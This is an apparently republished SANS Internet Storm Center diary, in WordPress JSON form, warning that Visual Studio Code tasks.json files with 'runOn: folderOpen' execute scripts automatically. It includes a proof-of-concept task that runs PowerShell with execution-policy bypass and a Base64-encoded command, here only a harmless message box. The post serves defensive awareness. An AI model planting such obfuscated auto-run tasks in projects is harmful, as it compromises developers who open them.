{"id":10041,"date":"2026-01-22T04:03:45","date_gmt":"2026-01-22T04:03:45","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2026\/01\/22\/32644\/"},"modified":"2026-01-22T04:03:45","modified_gmt":"2026-01-22T04:03:45","slug":"32644","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2026\/01\/22\/32644\/","title":{"rendered":"Automatic Script Execution In Visual Studio Code, (Wed, Jan 21st)"},"content":{"rendered":"<p>    Automatic Script Execution In Visual Studio Code, (Wed, Jan 21st)<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>Visual Studio Code is a popular open-source code editor[<a href=\"https:\/\/code.visualstudio.com\/\">1<\/a>]. But it\u2019s much more than a simple editor, it\u2019s a complete development platform\u00a0that supports many languages and it is available on multiple platforms. Used by developers worldwide, it\u2019s a juicy target for threat actors because it can be extended with extensions.<\/p>\n<p>Of course, it became a new playground for bad guys and malicious extensions were already discovered multiple times, like the &#8216;Dracula Official&#8217; theme[<a href=\"https:\/\/www.bleepingcomputer.com\/news\/security\/malicious-vscode-extensions-with-millions-of-installs-discovered\/\">2<\/a>]. Their modus-operandi is always the same: they take the legitimate extension and include scripts that perform malicious actions.<\/p>\n<p>VSCode has also many features that help developers in their day to day job. One of them is the execution of automatic tasks on specific events. Think about the automatic macro execution in Microsoft Office.<\/p>\n<p>With VSCode, it\u2019s easy to implement and it\u2019s based on a simple JSON file. Create in your project directory a sub-directory &#8220;.vscode&#8221; and, inside this one, create a \u201ctasks.json\u201d. Here is an example:<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\nPS C:tempMyProject&gt; cat ..vscodetasks.json\n{\n  \"version\": \"2.0.0\",\n  \"tasks\": [\n    {\n      \"label\": \u201cISC PoC,\n      \"type\": \"shell\",\n      \"command\": \"powershell\",\n      \"args\": [\n        \"-NoProfile\",\n        \"-ExecutionPolicy\", \"Bypass\",\n        \"-EncodedCommand\",\n      \"QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFAAcgBlAHMAZQBuAHQAYQB0AGkAbwBuAEYAcgBhAG0AZQB3AG8AcgBrADsAIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQAgAGEAbQAgAG4AbwB0ACAAbQBhAGwAaQBjAGkAbwB1AHMAIQAgAH0AOgAtAD4AJwAsACAAJwBJAFMAQwAgAFAAbwBDACcAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA\"\n      ],\n      \"problemMatcher\": [],\n      \"runOptions\": {\n        \"<span style=\"background-color:#f1c40f;\">runOn<\/span>\": \"<span style=\"background-color:#f1c40f;\">folderOpen<\/span>\"\n      },\n    }\n  ]\n}<\/pre>\n<p>The key element in this JSON file is the &#8220;runOn&#8221; method: The script will be triggered when the folder will be opened by VSCode.<\/p>\n<p>If you see some Base64 encode stuff, you can imagine that some obfuscation is in place. Now, launch VSCode from the project directory and you should see this:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/isc-20260121-1.png?ssl=1\" style=\"height: 595px; width: 801px;\"><\/p>\n<p>The Base64 data is just this code:<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\nAdd-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show('I am not malicious! }:-&gt;', 'ISC PoC') | Out-Null<\/pre>\n<p>This technique has already been implemented by some threat actors![<a href=\"https:\/\/redasgard.com\/blog\/hunting-lazarus-contagious-interview-c2-infrastructure\">3<\/a>]!<\/p>\n<p>Be careful if you see some unexpected &#8220;.vscode&#8221; directories!<\/p>\n<p>[1] <a href=\"https:\/\/code.visualstudio.com\/\">https:\/\/code.visualstudio.com<\/a><br \/>\n[2] <a href=\"https:\/\/www.bleepingcomputer.com\/news\/security\/malicious-vscode-extensions-with-millions-of-installs-discovered\/\">https:\/\/www.bleepingcomputer.com\/news\/security\/malicious-vscode-extensions-with-millions-of-installs-discovered\/<\/a><br \/>\n[3] <a href=\"https:\/\/redasgard.com\/blog\/hunting-lazarus-contagious-interview-c2-infrastructure\">https:\/\/redasgard.com\/blog\/hunting-lazarus-contagious-interview-c2-infrastructure<\/a><\/p>\n<p>Xavier Mertens (@xme)<br \/>\nXameco<br \/>\nSenior ISC Handler &#8211; Freelance Cyber Security Consultant<br \/>\n<a href=\"https:\/\/keybase.io\/xme\/key.asc\">PGP Key<\/a><\/p>\n<p> (c) SANS Internet Storm Center. https:\/\/isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.<\/p><\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><\/p>\n<p> \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/isc.sans.edu\/diary\/rss\/32644\">Go to isc.sans.edu<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Automatic Script Execution In Visual Studio Code, (Wed, Jan 21st) Visual Studio Code is a popular open-source code editor[1]. But it\u2019s much more than a simple editor, it\u2019s a complete development platform\u00a0that supports many languages and it is available on multiple platforms. Used by developers worldwide, it\u2019s a juicy target for threat actors because it [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[56],"tags":[69],"class_list":["post-10041","post","type-post","status-publish","format-standard","hentry","category-isc-sans-edu","tag-isc-sans-edu"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/10041"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=10041"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/10041\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=10041"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=10041"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=10041"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}